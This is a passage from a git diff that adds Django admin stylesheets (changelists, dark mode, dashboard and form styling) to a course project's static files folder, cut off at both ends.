1px; + border: none; + margin: 0; + padding: 0; + line-height: 1px; +} + +/* TEXT STYLES & MODIFIERS */ + +.small { + font-size: 0.6875rem; +} + +.mini { + font-size: 0.625rem; +} + +.help, p.help, form p.help, div.help, form div.help, div.help li { + font-size: 0.6875rem; + color: var(--body-quiet-color); +} + +div.help ul { + margin-bottom: 0; +} + +.help-tooltip { + cursor: help; +} + +p img, h1 img, h2 img, h3 img, h4 img, td img { + vertical-align: middle; +} + +.quiet, a.quiet:link, a.quiet:visited { + color: var(--body-quiet-color); + font-weight: normal; +} + +.clear { + clear: both; +} + +.nowrap { + white-space: nowrap; +} + +.hidden { + display: none !important; +} + +/* TABLES */ + +table { + border-collapse: collapse; + border-color: var(--border-color); +} + +td, th { + font-size: 0.8125rem; + line-height: 1rem; + border-bottom: 1px solid var(--hairline-color); + vertical-align: top; + padding: 8px; +} + +th { + font-weight: 500; + text-align: left; +} + +thead th, +tfoot td { + color: var(--body-quiet-color); + padding: 5px 10px; + font-size: 0.6875rem; + background: var(--body-bg); + border: none; + border-top: 1px solid var(--hairline-color); + border-bottom: 1px solid var(--hairline-color); +} + +tfoot td { + border-bottom: none; + border-top: 1px solid var(--hairline-color); +} + +thead th.required { + font-weight: bold; +} + +tr.alt { + background: var(--darkened-bg); +} + +tr:nth-child(odd), .row-form-errors { + background: var(--body-bg); +} + +tr:nth-child(even), +tr:nth-child(even) .errorlist, +tr:nth-child(odd) + .row-form-errors, +tr:nth-child(odd) + .row-form-errors .errorlist { + background: var(--darkened-bg); +} + +/* SORTABLE TABLES */ + +thead th { + padding: 5px 10px; + line-height: normal; + text-transform: uppercase; + background: var(--darkened-bg); +} + +thead th a:link, thead th a:visited { + color: var(--body-quiet-color); +} + +thead th.sorted { + background: var(--selected-bg); +} + +thead th.sorted .text { + padding-right: 42px; +} + +table thead th .text span { + padding: 8px 10px; + display: block; +} + +table thead th .text a { + display: block; + cursor: pointer; + padding: 8px 10px; +} + +table thead th .text a:focus, table thead th .text a:hover { + background: var(--selected-bg); +} + +thead th.sorted a.sortremove { + visibility: hidden; +} + +table thead th.sorted:hover a.sortremove { + visibility: visible; +} + +table thead th.sorted .sortoptions { + display: block; + padding: 9px 5px 0 5px; + float: right; + text-align: right; +} + +table thead th.sorted .sortpriority { + font-size: .8em; + min-width: 12px; + text-align: center; + vertical-align: 3px; + margin-left: 2px; + margin-right: 2px; +} + +table thead th.sorted .sortoptions a { + position: relative; + width: 14px; + height: 14px; + display: inline-block; + background: url(../img/sorting-icons.svg) 0 0 no-repeat; + background-size: 14px auto; +} + +table thead th.sorted .sortoptions a.sortremove { + background-position: 0 0; +} + +table thead th.sorted .sortoptions a.sortremove:after { + content: '\\'; + position: absolute; + top: -6px; + left: 3px; + font-weight: 200; + font-size: 1.125rem; + color: var(--body-quiet-color); +} + +table thead th.sorted .sortoptions a.sortremove:focus:after, +table thead th.sorted .sortoptions a.sortremove:hover:after { + color: var(--link-fg); +} + +table thead th.sorted .sortoptions a.sortremove:focus, +table thead th.sorted .sortoptions a.sortremove:hover { + background-position: 0 -14px; +} + +table thead th.sorted .sortoptions a.ascending { + background-position: 0 -28px; +} + +table thead th.sorted .sortoptions a.ascending:focus, +table thead th.sorted .sortoptions a.ascending:hover { + background-position: 0 -42px; +} + +table thead th.sorted .sortoptions a.descending { + top: 1px; + background-position: 0 -56px; +} + +table thead th.sorted .sortoptions a.descending:focus, +table thead th.sorted .sortoptions a.descending:hover { + background-position: 0 -70px; +} + +/* FORM DEFAULTS */ + +input, textarea, select, .form-row p, form .button { + margin: 2px 0; + padding: 2px 3px; + vertical-align: middle; + font-family: var(--font-family-primary); + font-weight: normal; + font-size: 0.8125rem; +} +.form-row div.help { + padding: 2px 3px; +} + +textarea { + vertical-align: top; +} + +/* +Minifiers remove the default (text) "type" attribute from "input" HTML tags. +Add input:not([type]) to make the CSS stylesheet work the same. +*/ +input:not([type]), input[type=text], input[type=password], input[type=email], +input[type=url], input[type=number], input[type=tel], textarea, select, +.vTextField { + border: 1px solid var(--border-color); + border-radius: 4px; + padding: 5px 6px; + margin-top: 0; + color: var(--body-fg); + background-color: var(--body-bg); +} + +/* +Minifiers remove the default (text) "type" attribute from "input" HTML tags. +Add input:not([type]) to make the CSS stylesheet work the same. +*/ +input:not([type]):focus, input[type=text]:focus, input[type=password]:focus, +input[type=email]:focus, input[type=url]:focus, input[type=number]:focus, +input[type=tel]:focus, textarea:focus, select:focus, .vTextField:focus { + border-color: var(--body-quiet-color); +} + +select { + height: 1.875rem; +} + +select[multiple] { + /* Allow HTML size attribute to override the height in the rule above. */ + height: auto; + min-height: 150px; +} + +/* FORM BUTTONS */ + +.button, input[type=submit], input[type=button], .submit-row input, a.button { + background: var(--button-bg); + padding: 10px 15px; + border: none; + border-radius: 4px; + color: var(--button-fg); + cursor: pointer; + transition: background 0.15s; +} + +a.button { + padding: 4px 5px; +} + +.button:active, input[type=submit]:active, input[type=button]:active, +.button:focus, input[type=submit]:focus, input[type=button]:focus, +.button:hover, input[type=submit]:hover, input[type=button]:hover { + background: var(--button-hover-bg); +} + +.button[disabled], input[type=submit][disabled], input[type=button][disabled] { + opacity: 0.4; +} + +.button.default, input[type=submit].default, .submit-row input.default { + border: none; + font-weight: 400; + background: var(--default-button-bg); +} + +.button.default:active, input[type=submit].default:active, +.button.default:focus, input[type=submit].default:focus, +.button.default:hover, input[type=submit].default:hover { + background: var(--default-button-hover-bg); +} + +.button[disabled].default, +input[type=submit][disabled].default, +input[type=button][disabled].default { + opacity: 0.4; +} + + +/* MODULES */ + +.module { + border: none; + margin-bottom: 30px; + background: var(--body-bg); +} + +.module p, .module ul, .module h3, .module h4, .module dl, .module pre { + padding-left: 10px; + padding-right: 10px; +} + +.module blockquote { + margin-left: 12px; +} + +.module ul, .module ol { + margin-left: 1.5em; +} + +.module h3 { + margin-top: .6em; +} + +.module h2, .module caption, .inline-group h2 { + margin: 0; + padding: 8px; + font-weight: 400; + font-size: 0.8125rem; + text-align: left; + background: var(--header-bg); + color: var(--header-link-color); +} + +.module caption, +.inline-group h2 { + font-size: 0.75rem; + letter-spacing: 0.5px; + text-transform: uppercase; +} + +.module table { + border-collapse: collapse; +} + +/* MESSAGES & ERRORS */ + +ul.messagelist { + padding: 0; + margin: 0; +} + +ul.messagelist li { + display: block; + font-weight: 400; + font-size: 0.8125rem; + padding: 10px 10px 10px 65px; + margin: 0 0 10px 0; + color: var(--body-fg); + word-break: break-word; + background-color: var(--message-info-bg); + background-image: var(--message-info-icon); + background-position: 40px 12px; + background-repeat: no-repeat; + background-size: 16px auto; +} + +ul.messagelist li.debug { + background-color: var(--message-debug-bg); + background-image: var(--message-debug-icon); +} + +ul.messagelist li.info { + background-color: var(--message-info-bg); + background-image: var(--message-info-icon); +} + +ul.messagelist li.success { + background-color: var(--message-success-bg); + background-image: var(--message-success-icon); +} + +ul.messagelist li.warning { + background-color: var(--message-warning-bg); + background-image: var(--message-warning-icon); +} + +ul.messagelist li.error { + background-color: var(--message-error-bg); + background-image: var(--message-error-icon); +} + +@media (forced-colors: active) { + ul.messagelist li { + border: 1px solid; + } +} + +.errornote { + font-size: 0.875rem; + font-weight: 700; + display: block; + padding: 10px 12px; + margin: 0 0 10px 0; + color: var(--error-fg); + border: 1px solid var(--error-fg); + border-radius: 4px; + background-color: var(--body-bg); + background-position: 5px 12px; + overflow-wrap: break-word; +} + +ul.errorlist { + margin: 0 0 4px; + padding: 0; + color: var(--error-fg); + background: var(--body-bg); +} + +ul.errorlist li { + font-size: 0.8125rem; + display: block; + margin-bottom: 4px; + overflow-wrap: break-word; +} + +ul.errorlist li:first-child { + margin-top: 0; +} + +ul.errorlist li a { + color: inherit; + text-decoration: underline; +} + +td ul.errorlist { + margin: 0; + padding: 0; +} + +td ul.errorlist li { + margin: 0; +} + +.form-row.errors { + margin: 0; + border: none; + border-bottom: 1px solid var(--hairline-color); + background: none; +} + +.form-row.errors ul.errorlist li { + padding-left: 0; +} + +.errors input, .errors select, .errors textarea, +td ul.errorlist + input, td ul.errorlist + select, td ul.errorlist + textarea { + border: 1px solid var(--error-fg); +} + +.description { + font-size: 0.75rem; + padding: 5px 0 0 12px; +} + +/* BREADCRUMBS */ + +div.breadcrumbs { + background: var(--breadcrumbs-bg); + padding: 10px 40px; + border: none; + color: var(--breadcrumbs-fg); + text-align: left; +} + +div.breadcrumbs a { + color: var(--breadcrumbs-link-fg); +} + +div.breadcrumbs a:focus, div.breadcrumbs a:hover { + color: var(--breadcrumbs-fg); +} + +/* ACTION ICONS */ + +.viewlink, .inlineviewlink { + padding-left: 16px; + background: url(../img/icon-viewlink.svg) 0 1px no-repeat; +} + +.hidelink { + padding-left: 16px; + background: url(../img/icon-hidelink.svg) 0 1px no-repeat; +} + +.addlink { + padding-left: 16px; + background: url(../img/icon-addlink.svg) 0 1px no-repeat; +} + +.changelink, .inlinechangelink { + padding-left: 16px; + background: url(../img/icon-changelink.svg) 0 1px no-repeat; +} + +.deletelink { + padding-left: 16px; + background: url(../img/icon-deletelink.svg) 0 1px no-repeat; +} + +a.deletelink:link, a.deletelink:visited { + color: #CC3434; /* XXX Probably unused? */ +} + +a.deletelink:focus, a.deletelink:hover { + color: #993333; /* XXX Probably unused? */ + text-decoration: none; +} + +/* OBJECT TOOLS */ + +.object-tools { + padding: 0; + overflow: hidden; + text-align: right; + margin: 0 0 15px; +} + +.object-tools li { + display: inline-block; + height: auto; +} + +.object-tools li + li { + margin-left: 15px; +} + +.object-tools a { + border-radius: 15px; +} + +.object-tools a:link, .object-tools a:visited { + display: block; + float: left; + padding: 3px 12px; + background: var(--object-tools-bg); + color: var(--object-tools-fg); + font-weight: 400; + font-size: 0.6875rem; + text-transform: uppercase; + letter-spacing: 0.5px; +} + +.object-tools a:focus, .object-tools a:hover { + background-color: var(--object-tools-hover-bg); +} + +.object-tools a:focus{ + text-decoration: none; +} + +.object-tools a.viewsitelink, .object-tools a.addlink { + background-repeat: no-repeat; + background-position: right 7px center; + padding-right: 26px; +} + +.object-tools a.viewsitelink { + background-image: url(../img/tooltag-arrowright.svg); +} + +.object-tools a.addlink { + background-image: url(../img/tooltag-add.svg); +} + +/* OBJECT HISTORY */ + +#change-history table { + width: 100%; +} + +#change-history table tbody th { + width: 16em; +} + +#change-history .paginator { + color: var(--body-quiet-color); + border-bottom: 1px solid var(--hairline-color); + background: var(--body-bg); + overflow: hidden; +} + +/* PAGE STRUCTURE */ + +#container { + position: relative; + width: 100%; + min-width: 980px; + padding: 0; + display: flex; + flex-direction: column; + height: 100%; +} + +#container > .main { + display: flex; + flex: 1 0 auto; +} + +.main > .content { + flex: 1 0; + max-width: 100%; +} + +.skip-to-content-link { + position: absolute; + top: -999px; + margin: 5px; + padding: 5px; + background: var(--body-bg); + z-index: 1; +} + +.skip-to-content-link:focus { + left: 0px; + top: 0px; +} + +#content { + padding: 20px 40px; +} + +.dashboard #content { + width: 600px; +} + +#content-main { + float: left; + width: 100%; +} + +#content-related { + float: right; + width: 260px; + position: relative; + margin-right: -300px; +} + +@media (forced-colors: active) { + #content-related { + border: 1px solid; + } +} + +/* COLUMN TYPES */ + +.colMS { + margin-right: 300px; +} + +.colSM { + margin-left: 300px; +} + +.colSM #content-related { + float: left; + margin-right: 0; + margin-left: -300px; +} + +.colSM #content-main { + float: right; +} + +.popup .colM { + width: auto; +} + +/* HEADER */ + +#header { + width: auto; + height: auto; + display: flex; + justify-content: space-between; + align-items: center; + padding: 10px 40px; + background: var(--header-bg); + color: var(--header-color); +} + +#header a:link, #header a:visited, #logout-form button { + color: var(--header-link-color); +} + +#header a:focus , #header a:hover { + text-decoration: underline; +} + +@media (forced-colors: active) { + #header { + border-bottom: 1px solid; + } +} + +#branding { + display: flex; +} + +#site-name { + padding: 0; + margin: 0; + margin-inline-end: 20px; + font-weight: 300; + font-size: 1.5rem; + color: var(--header-branding-color); +} + +#site-name a:link, #site-name a:visited { + color: var(--accent); +} + +#branding h2 { + padding: 0 10px; + font-size: 0.875rem; + margin: -8px 0 8px 0; + font-weight: normal; + color: var(--header-color); +} + +#branding a:hover { + text-decoration: none; +} + +#logout-form { + display: inline; +} + +#logout-form button { + background: none; + border: 0; + cursor: pointer; + font-family: var(--font-family-primary); +} + +#user-tools { + float: right; + margin: 0 0 0 20px; + text-align: right; +} + +#user-tools, #logout-form button{ + padding: 0; + font-weight: 300; + font-size: 0.6875rem; + letter-spacing: 0.5px; + text-transform: uppercase; +} + +#user-tools a, #logout-form button { + border-bottom: 1px solid rgba(255, 255, 255, 0.25); +} + +#user-tools a:focus, #user-tools a:hover, +#logout-form button:active, #logout-form button:hover { + text-decoration: none; + border-bottom: 0; +} + +#logout-form button:active, #logout-form button:hover { + margin-bottom: 1px; +} + +/* SIDEBAR */ + +#content-related { + background: var(--darkened-bg); +} + +#content-related .module { + background: none; +} + +#content-related h3 { + color: var(--body-quiet-color); + padding: 0 16px; + margin: 0 0 16px; +} + +#content-related h4 { + font-size: 0.8125rem; +} + +#content-related p { + padding-left: 16px; + padding-right: 16px; +} + +#content-related .actionlist { + padding: 0; + margin: 16px; +} + +#content-related .actionlist li { + line-height: 1.2; + margin-bottom: 10px; + padding-left: 18px; +} + +#content-related .module h2 { + background: none; + padding: 16px; + margin-bottom: 16px; + border-bottom: 1px solid var(--hairline-color); + font-size: 1.125rem; + color: var(--body-fg); +} + +.delete-confirmation form input[type="submit"] { + background: var(--delete-button-bg); + border-radius: 4px; + padding: 10px 15px; + color: var(--button-fg); +} + +.delete-confirmation form input[type="submit"]:active, +.delete-confirmation form input[type="submit"]:focus, +.delete-confirmation form input[type="submit"]:hover { + background: var(--delete-button-hover-bg); +} + +.delete-confirmation form .cancel-link { + display: inline-block; + vertical-align: middle; + height: 0.9375rem; + line-height: 0.9375rem; + border-radius: 4px; + padding: 10px 15px; + color: var(--button-fg); + background: var(--close-button-bg); + margin: 0 0 0 10px; +} + +.delete-confirmation form .cancel-link:active, +.delete-confirmation form .cancel-link:focus, +.delete-confirmation form .cancel-link:hover { + background: var(--close-button-hover-bg); +} + +/* POPUP */ +.popup #content { + padding: 20px; +} + +.popup #container { + min-width: 0; +} + +.popup #header { + padding: 10px 20px; +} + +/* PAGINATOR */ + +.paginator { + display: flex; + align-items: center; + gap: 4px; + font-size: 0.8125rem; + padding-top: 10px; + padding-bottom: 10px; + line-height: 22px; + margin: 0; + border-top: 1px solid var(--hairline-color); + box-sizing: border-box; +} + +.paginator ul { + margin: 0; + margin-right: 6px; +} + +.paginator ul li { + display: inline-block; + line-height: 22px; + padding: 0; +} + +.paginator a { + display: inline-block; + padding: 2px 6px; +} + +.paginator a:not(.showall) { + background: var(--button-bg); + text-decoration: none; + color: var(--button-fg); +} + +.paginator a[aria-current="page"] { + color: var(--body-quiet-color); + background: transparent; + font-weight: bold; + cursor: default; +} + +.paginator a:not([aria-current="page"], .showall):focus, +.paginator a:not([aria-current="page"], .showall):hover { + color: white; + background: var(--link-hover-color); +} + +.paginator input { + margin-left: auto; +} + +.base-svgs { + display: none; +} + +.visually-hidden { + position: absolute; + width: 1px; + height: 1px; + padding: 0; + overflow: hidden; + clip: rect(0,0,0,0); + white-space: nowrap; + border: 0; + color: var(--body-fg); + background-color: var(--body-bg); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/changelists.css b/Semaine_11/Jour_04/staticfiles/admin/css/changelists.css new file mode 100644 index 0000000..0f367f8 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/changelists.css @@ -0,0 +1,371 @@ +/* CHANGELISTS */ + +#changelist .changelist-form-container { + display: flex; + align-items: flex-start; + width: 100%; +} + +#changelist .changelist-form-container > div { + flex: 1 1 auto; +} + +#changelist .changelist-form-container:not(:has(#changelist-filter)) > div { + width: 100%; +} + +#changelist .changelist-form-container:has(#changelist-filter) > div { + min-width: 0; + max-width: calc(100% - 270px); +} + +#changelist table { + width: 100%; +} + +.change-list .hiddenfields { display:none; } + +.change-list .filtered table { + border-right: none; +} + +.change-list .filtered { + min-height: 400px; +} + +.change-list .filtered .results, .filtered #toolbar, +.filtered div.xfull { + width: auto; +} + +.change-list .filtered table tbody th { + padding-right: 1em; +} + +#changelist-form .results { + overflow-x: auto; + width: 100%; +} + +#changelist .toplinks { + border-bottom: 1px solid var(--hairline-color); +} + +#changelist .changelist-footer { + display: flex; + align-items: center; + justify-content: space-between; + padding: 10px; + border-top: 1px solid var(--hairline-color); + border-bottom: 1px solid var(--hairline-color); +} + +#changelist .changelist-footer .paginator { + color: var(--body-quiet-color); + background: var(--body-bg); + border: none; + padding: 0; +} + +#changelist .paginator { + color: var(--body-quiet-color); + border-bottom: 1px solid var(--hairline-color); + background: var(--body-bg); +} + +#changelist .paginator ul { + padding: 0; + white-space: nowrap; +} + +/* CHANGELIST TABLES */ + +#changelist table thead th { + padding: 0; + white-space: nowrap; + vertical-align: middle; +} + +#changelist table thead th.action-checkbox-column { + width: 1.5em; + text-align: center; +} + +#changelist table tbody td.action-checkbox { + text-align: center; +} + +#changelist table tfoot { + color: var(--body-quiet-color); +} + +/* TOOLBAR */ + +#toolbar { + padding: 8px 10px; + margin-bottom: 15px; + border-top: 1px solid var(--hairline-color); + border-bottom: 1px solid var(--hairline-color); + background: var(--darkened-bg); + color: var(--body-quiet-color); +} + +#toolbar form input { + border-radius: 4px; + font-size: 0.875rem; + padding: 5px; + color: var(--body-fg); +} + +#toolbar #searchbar { + height: 1.1875rem; + border: 1px solid var(--border-color); + padding: 2px 5px; + margin: 0; + vertical-align: top; + font-size: 0.8125rem; + max-width: 100%; +} + +#toolbar #searchbar:focus { + border-color: var(--body-quiet-color); +} + +#toolbar form input[type="submit"] { + border: 1px solid var(--border-color); + font-size: 0.8125rem; + padding: 4px 8px; + margin: 0; + vertical-align: middle; + background: var(--body-bg); + box-shadow: 0 -15px 20px -10px rgba(0, 0, 0, 0.15) inset; + cursor: pointer; + color: var(--body-fg); +} + +#toolbar form input[type="submit"]:focus, +#toolbar form input[type="submit"]:hover { + border-color: var(--body-quiet-color); +} + +#changelist-search img { + vertical-align: middle; + margin-right: 4px; +} + +#changelist-search .help { + word-break: break-word; +} + +/* FILTER COLUMN */ + +#changelist-filter { + flex: 0 0 240px; + order: 1; + background: var(--darkened-bg); + border-left: none; + margin: 0 0 0 30px; +} + +@media (forced-colors: active) { + #changelist-filter { + border: 1px solid; + } +} + +#changelist-filter h2 { + font-size: 0.875rem; + text-transform: uppercase; + letter-spacing: 0.5px; + padding: 5px 15px; + margin-bottom: 12px; + border-bottom: none; +} + +#changelist-filter h3, +#changelist-filter details summary { + font-weight: 400; + padding: 0 15px; + margin-bottom: 10px; +} + +#changelist-filter details summary > * { + display: inline; +} + +#changelist-filter details > summary { + list-style-type: none; +} + +#changelist-filter details > summary::-webkit-details-marker { + display: none; +} + +#changelist-filter details > summary::before { + content: '→'; + font-weight: bold; + color: var(--link-hover-color); +} + +#changelist-filter details[open] > summary::before { + content: '↓'; +} + +#changelist-filter ul { + margin: 5px 0; + padding: 0 15px 15px; + border-bottom: 1px solid var(--hairline-color); +} + +#changelist-filter ul:last-child { + border-bottom: none; +} + +#changelist-filter li { + list-style-type: none; + margin-left: 0; + padding-left: 0; +} + +#changelist-filter a { + display: block; + color: var(--body-quiet-color); + word-break: break-word; +} + +#changelist-filter li.selected { + border-left: 5px solid var(--hairline-color); + padding-left: 10px; + margin-left: -15px; +} + +#changelist-filter li.selected a { + color: var(--link-selected-fg); +} + +#changelist-filter a:focus, #changelist-filter a:hover, +#changelist-filter li.selected a:focus, +#changelist-filter li.selected a:hover { + color: var(--link-hover-color); +} + +#changelist-filter #changelist-filter-extra-actions { + font-size: 0.8125rem; + margin-bottom: 10px; + border-bottom: 1px solid var(--hairline-color); +} + +/* DATE DRILLDOWN */ + +.change-list .toplinks { + display: flex; + padding-bottom: 5px; + flex-wrap: wrap; + gap: 3px 17px; + font-weight: bold; +} + +.change-list .toplinks a { + font-size: 0.8125rem; +} + +.change-list .toplinks .date-back { + color: var(--body-quiet-color); +} + +.change-list .toplinks .date-back:focus, +.change-list .toplinks .date-back:hover { + color: var(--link-hover-color); +} + +/* ACTIONS */ + +.filtered .actions { + border-right: none; +} + +#changelist table input { + margin: 0; + vertical-align: baseline; +} + +/* Once the :has() pseudo-class is supported by all browsers, the tr.selected + selector and the JS adding the class can be removed. */ +#changelist tbody tr.selected { + background-color: var(--selected-row); +} + +#changelist tbody tr:has(.action-select:checked) { + background-color: var(--selected-row); +} + +@media (forced-colors: active) { + #changelist tbody tr.selected { + background-color: SelectedItem; + } + #changelist tbody tr:has(.action-select:checked) { + background-color: SelectedItem; + } +} + +#changelist .actions { + padding: 10px; + background: var(--body-bg); + border-top: none; + border-bottom: none; + line-height: 1.5rem; + color: var(--body-quiet-color); + width: 100%; +} + +#changelist .actions span.all, +#changelist .actions span.action-counter, +#changelist .actions span.clear, +#changelist .actions span.question { + font-size: 0.8125rem; + margin: 0 0.5em; +} + +#changelist .actions:last-child { + border-bottom: none; +} + +#changelist .actions select { + vertical-align: top; + height: 1.5rem; + color: var(--body-fg); + border: 1px solid var(--border-color); + border-radius: 4px; + font-size: 0.875rem; + padding: 0 0 0 4px; + margin: 0; + margin-left: 10px; +} + +#changelist .actions select:focus { + border-color: var(--body-quiet-color); +} + +#changelist .actions label { + display: inline-block; + vertical-align: middle; + font-size: 0.8125rem; +} + +#changelist .actions .button { + font-size: 0.8125rem; + border: 1px solid var(--border-color); + border-radius: 4px; + background: var(--body-bg); + box-shadow: 0 -15px 20px -10px rgba(0, 0, 0, 0.15) inset; + cursor: pointer; + height: 1.5rem; + line-height: 1; + padding: 4px 8px; + margin: 0; + color: var(--body-fg); +} + +#changelist .actions .button:focus, #changelist .actions .button:hover { + border-color: var(--body-quiet-color); +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/dark_mode.css b/Semaine_11/Jour_04/staticfiles/admin/css/dark_mode.css new file mode 100644 index 0000000..76cbf17 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/dark_mode.css @@ -0,0 +1,146 @@ +@media (prefers-color-scheme: dark) { + :root { + --primary: #264b5d; + --primary-fg: #f7f7f7; + + --body-fg: #eeeeee; + --body-bg: #121212; + --body-quiet-color: #d0d0d0; + --body-medium-color: #e0e0e0; + --body-loud-color: #ffffff; + + --breadcrumbs-link-fg: #e0e0e0; + --breadcrumbs-bg: var(--primary); + + --link-fg: #81d4fa; + --link-hover-color: #4ac1f7; + --link-selected-fg: #6f94c6; + + --hairline-color: #272727; + --border-color: #353535; + + --error-fg: #e35f5f; + + --message-debug-bg: #4e4e4e; + --message-debug-icon: url(../img/icon-debug-dark.svg); + --message-info-bg: #265895; + --message-info-icon: url(../img/icon-info-dark.svg); + --message-success-bg: #006b1b; + --message-success-icon: url(../img/icon-yes-dark.svg); + --message-warning-bg: #583305; + --message-warning-icon: url(../img/icon-alert-dark.svg); + --message-error-bg: #570808; + --message-error-icon: url(../img/icon-no-dark.svg); + + --darkened-bg: #212121; + --selected-bg: #1b1b1b; + --selected-row: #00363a; + + --close-button-bg: #333333; + --close-button-hover-bg: #666666; + + color-scheme: dark; + } + } + + +html[data-theme="dark"] { + --primary: #264b5d; + --primary-fg: #f7f7f7; + + --body-fg: #eeeeee; + --body-bg: #121212; + --body-quiet-color: #d0d0d0; + --body-medium-color: #e0e0e0; + --body-loud-color: #ffffff; + + --breadcrumbs-link-fg: #e0e0e0; + --breadcrumbs-bg: var(--primary); + + --link-fg: #81d4fa; + --link-hover-color: #4ac1f7; + --link-selected-fg: #6f94c6; + + --hairline-color: #272727; + --border-color: #353535; + + --error-fg: #e35f5f; + + --message-debug-bg: #4e4e4e; + --message-debug-icon: url(../img/icon-debug-dark.svg); + --message-info-bg: #265895; + --message-info-icon: url(../img/icon-info-dark.svg); + --message-success-bg: #006b1b; + --message-success-icon: url(../img/icon-yes-dark.svg); + --message-warning-bg: #583305; + --message-warning-icon: url(../img/icon-alert-dark.svg); + --message-error-bg: #570808; + --message-error-icon: url(../img/icon-no-dark.svg); + + --darkened-bg: #212121; + --selected-bg: #1b1b1b; + --selected-row: #00363a; + + --close-button-bg: #333333; + --close-button-hover-bg: #666666; + + color-scheme: dark; +} + +/* THEME SWITCH */ +.theme-toggle { + cursor: pointer; + border: none; + padding: 0; + background: transparent; + vertical-align: middle; + margin-inline-start: 5px; + margin-top: -1px; +} + +.theme-toggle svg { + vertical-align: middle; + height: 1.5rem; + width: 1.5rem; + display: none; +} + +/* +Fully hide screen reader text so we only show the one matching the current +theme. +*/ +.theme-toggle .visually-hidden { + display: none; +} + +html[data-theme="auto"] .theme-toggle .theme-label-when-auto { + display: block; +} + +html[data-theme="dark"] .theme-toggle .theme-label-when-dark { + display: block; +} + +html[data-theme="light"] .theme-toggle .theme-label-when-light { + display: block; +} + +/* ICONS */ +.theme-toggle svg.theme-icon-when-auto, +.theme-toggle svg.theme-icon-when-dark, +.theme-toggle svg.theme-icon-when-light { + fill: var(--header-link-color); + color: var(--header-bg); +} + +html[data-theme="auto"] .theme-toggle svg.theme-icon-when-auto { + display: block; +} + +html[data-theme="dark"] .theme-toggle svg.theme-icon-when-dark { + display: block; +} + +html[data-theme="light"] .theme-toggle svg.theme-icon-when-light { + display: block; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/dashboard.css b/Semaine_11/Jour_04/staticfiles/admin/css/dashboard.css new file mode 100644 index 0000000..242b81a --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/dashboard.css @@ -0,0 +1,29 @@ +/* DASHBOARD */ +.dashboard td, .dashboard th { + word-break: break-word; +} + +.dashboard .module table th { + width: 100%; +} + +.dashboard .module table td { + white-space: nowrap; +} + +.dashboard .module table td a { + display: block; + padding-right: .6em; +} + +/* RECENT ACTIONS MODULE */ + +.module ul.actionlist { + margin-left: 0; +} + +ul.actionlist li { + list-style-type: none; + overflow: hidden; + text-overflow: ellipsis; +} diff --git a/Semaine_11/Jour_04/staticfiles/admin/css/forms.css b/Semaine_11/Jour_04/staticfiles/admin/css/forms.css new file mode 100644 index 0000000..9621ac2 --- /dev/null +++ b/Semaine_11/Jour_04/staticfiles/admin/css/forms.css @@ -0,0 +1,520 @@ +@import url('widgets.css'); + +/* FORM ROWS */ + +.form-row { + overflow: hidden; + padding: 10px; + font-size: 0.8125rem; + border-bottom: 1px solid var(--hairline-color); +} + +.form-row img, .form-row input { + vertical-align: middle; +} + +.form-row label input[type="checkbox"] { + margin-top: 0; + vertical-align: 0; +} + +form .form-row p { + padding-left: 0; +} + +.flex-container { + display: flex; +} + +.form-multiline { + flex-wrap: wrap; +} + +.form-multiline > div, +.form-multiline > fieldset { + padding-bottom: 10px; +} + +/* FORM LABELS */ + +legend, label { + font-weight: normal; + color: var(--body-quiet-color); + font-size: 0.8125rem; +} + +.required legend, legend.required, +.required label, label.required { + font-weight: bold; +} + +/* RADIO BUTTONS */ + +form div.radiolist div { + padding-right: 7px; +} + +form div.radiolist.inline div { + display: inline-block; +} + +form div.radiolist label { + width: auto; +} + +form div.radiolist input[type="radio"] { + margin: -2px 4px 0 0; + padding: 0; +} + +form ul.inline { + margin-left: 0; + padding: 0; +} + +form ul.inline li { + float: left; + padding-right: 7px; +} + +/* FIELDSETS */ + +fieldset .fieldset-heading, +fieldset .inline-heading, +:not(.inline-related) .collapse summary { + border: 1px solid var(--header-bg); + margin: 0; + padding: 8px; + font-weight: 400; + font-size: 0.8125rem; + background: var(--header-bg); + color: var(--header-link-color); +} + +/* ALIGNED FIELDSETS */ + +.aligned fieldset { + flex-grow: 1; + border-top: none; +} + +.aligned fieldset > div { + width: 100%; +} + +.aligned legend { + float: inline-start; +} + +.aligned legend, +.aligned label { + display: block; + padding: 4px 10px 0 0; + min-width: 160px; + width: 160px; + word-wrap: break-word; +} + +.aligned label:not(.vCheckboxLabel):after { + content: ''; + display: inline-block; + vertical-align: middle; +} + +.aligned label + p, .aligned .checkbox-row + div.help, .aligned label + div.readonly { + padding: 6px 0; + margin-top: 0; + margin-bottom: 0; + margin-left: 0; + overflow-wrap: break-word; +} + +.aligned ul label { + display: inline; + float: none; + width: auto; +} + +.aligned .form-row input { + margin-bottom: 0; +} + +.colMS .aligned .vLargeTextField, .colMS .aligned .vXMLLargeTextField { + width: 350px; +} + +form .aligned ul { + margin-left: 160px; + padding-left: 10px; +} + +form .aligned div.radiolist { + display: block; + margin: 0; + padding: 0; +} + +form .aligned p.help, +form .aligned div.help { + margin-top: 0; + margin-left: 160px; + padding-left: 10px; +} + +form .aligned p.date div.help.timezonewarning, +form .aligned p.datetime div.help.timezonewarning, +form .aligned p.time div.help.timezonewarning { + margin-left: 0; + padding-left: 0; + font-weight: normal; +} + +form .aligned p.help:last-child, +form .aligned div.help:last-child { + margin-bottom: 0; + padding-bottom: 0; +} + +form .aligned input + p.help, +form .aligned textarea + p.help, +form .aligned select + p.help, +form .aligned input + div.help, +form .aligned textarea + div.help, +form .aligned select + div.help { + margin-left: 160px; + padding-left: 10px; +} + +form .aligned select option:checked { + background-color: var(--selected-row); +} + +form .aligned ul li { + list-style: none; +} + +form .aligned table p { + margin-left: 0; + padding-left: 0; +} + +.aligned .vCheckboxLabel { + padding: 1px 0 0 5px; +} + +.aligned .vCheckboxLabel + p.help, +.aligned .vCheckboxLabel + div.help { + margin-top: -4px; +} + +.colM .aligned .vLargeTextField, .colM .aligned .vXMLLargeTextField { + width: 610px; +} + +fieldset .fieldBox { + margin-right: 20px; +} + +/* WIDE FIELDSETS */ + +.wide label, +.wide legend { + width: 200px; +} + +form .wide p.help, +form .wide ul.errorlist, +form .wide div.help { + padding-left: 50px; +} + +form div.help ul { + padding-left: 0; + margin-left: 0; +} + +.colM 